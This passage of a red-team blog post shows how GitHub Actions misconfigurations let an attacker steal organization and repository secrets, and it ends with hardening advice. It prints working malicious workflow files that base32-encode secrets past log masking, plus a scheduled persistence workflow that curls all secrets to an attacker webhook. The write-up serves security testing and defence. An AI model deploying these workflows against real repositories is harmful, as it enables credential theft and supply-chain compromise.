<li>The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.</li>
</ul>
</li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets Stored at Organization Level accessible to misconfigured repository</strong>: The attacker&#8217;s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.</li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Write access to a repository with no branch protection rules.</li>
<li>Ability to create a Github actions and trigger a workflow in previously identified repository.</li>
<li>I identified by reviewing Github workflow files of other repositories that there was a github secret &#8220;<strong>NPM_PRIV_TOKEN</strong>&#8221; consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context, and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal organisation secret &#8220;<strong>NPM_PRIV_TOKEN&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.</p>
<p>As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221;</p>
<pre>name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-808" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png" alt="" width="2356" height="1220" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-300x155.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1024x530.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-768x398.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1536x795.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-2048x1061.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1600x829.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.</p>
<p>Check the Actions log to see the exfiltrated org secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-809" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png" alt="" width="2356" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-300x140.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1024x477.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-768x358.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1536x716.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-2048x954.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1600x746.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And lets Base32 Decode the result to get the cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-810" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png" alt="" width="1312" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png 1312w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-300x251.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-1024x857.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-768x643.png 768w" sizes="(max-width: 1312px) 100vw, 1312px" /></p>
<h2><strong>Mis-config 2 &#8211; </strong><strong>Exfiltrate </strong><strong>Repository level Secrets</strong> :</h2>
<p>After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository&#8217;s workflow file, it used &#8220;${{secrets.CI_TOKEN }}&#8221; as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).</p>
<p>It&#8217;s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.</p>
<p>These are the prior conditions to be aware to exploit this misconfiguration :</p>
<ol>
<li><strong>Ability to create a new branch on a service repository .</strong></li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets stored at Repository level for Selected Repository .</strong></li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Ability to create a new branch on identified service repository.</li>
<li>Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.</li>
<li> secret &#8216;<strong>CI_TOKEN&#8217;</strong> stored at identified service Github repo.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal Repository secret &#8220;<strong>CI_TOKEN</strong><strong>&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Create a New branch for the identified repository in our case lets create a new branch &#8220;<strong>test-exfiltration</strong>&#8221; from base branch.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-813" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png" alt="" width="786" height="382" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png 2046w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-300x146.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1024x497.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-768x373.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1536x746.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1600x777.png 1600w" sizes="(max-width: 786px) 100vw, 786px" /></p>
<p>Lets create a malicious github workflow file at the path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221; for the newly created branch. I will follow this steps on UI for simplicity and better verbose.</p>
<pre>name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32</pre>
<p>We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-815" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png" alt="" width="697" height="315" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1600x723.png 1600w" sizes="(max-width: 697px) 100vw, 697px" /></p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-816" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png" alt="" width="814" height="368" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1600x723.png 1600w" sizes="(max-width: 814px) 100vw, 814px" /></p>
<p>To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization&#8217;s detection capabilities.</p>
<p>By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization&#8217;s security posture and response mechanisms.</p>
<pre>name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://&lt;your webhook&gt;"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_<span class="pl-ent">SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-</span>
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_<span class="pl-ent">SECRETS</span>: <span class="pl-s">${{ toJSON(vars) }}</span>

</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-817" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png" alt="" width="2354" height="678" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png 2354w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-300x86.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1024x295.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-768x221.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1536x442.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-2048x590.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1600x461.png 1600w" sizes="(max-width: 2354px) 100vw, 2354px" /></p>
<p>Voila, web hook received with exfiltrated base32 encoded secret.</p>
<p>Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .</p>
<p><strong>Hardening notes to Github Admins/DevOps :</strong></p>
<ol>
<li>Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .</li>
<li>Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.</li>
<li>Limit organisation secrets exposure to selected repositories instead of all repositories .</li>
<li>Use reusable workflows to prevent unauthorised modifications to existing workflow files.</li>
<li>Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(<a href="https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners">https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners</a> )</li>
<li>Limit ability to run Github Actions for selected/required source repositories only.</li>
<li>Use Deployment protection rules and store secrets in the context of environment.</li>
<li>Adapt to supply chain security frameworks such as SLSA (<a href="https://slsa.dev/">https://slsa.dev/</a>) to enhance security posture and guard against supply chain security threats.</li>
</ol>
<p>In the end, it&#8217;s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization&#8217;s security posture.</p>
<p>References / articles worth quoting :</p>
<p><a href="https://boostsecurity.io/blog/slsa-dip-its-build-time">https://boostsecurity.io/blog/slsa-dip-its-build-time</a></p>
<p><a href="https://slsa.dev/">https://slsa.dev/</a></p>
<p><a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions">https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions</a></p>
<p><a href="https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1">https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
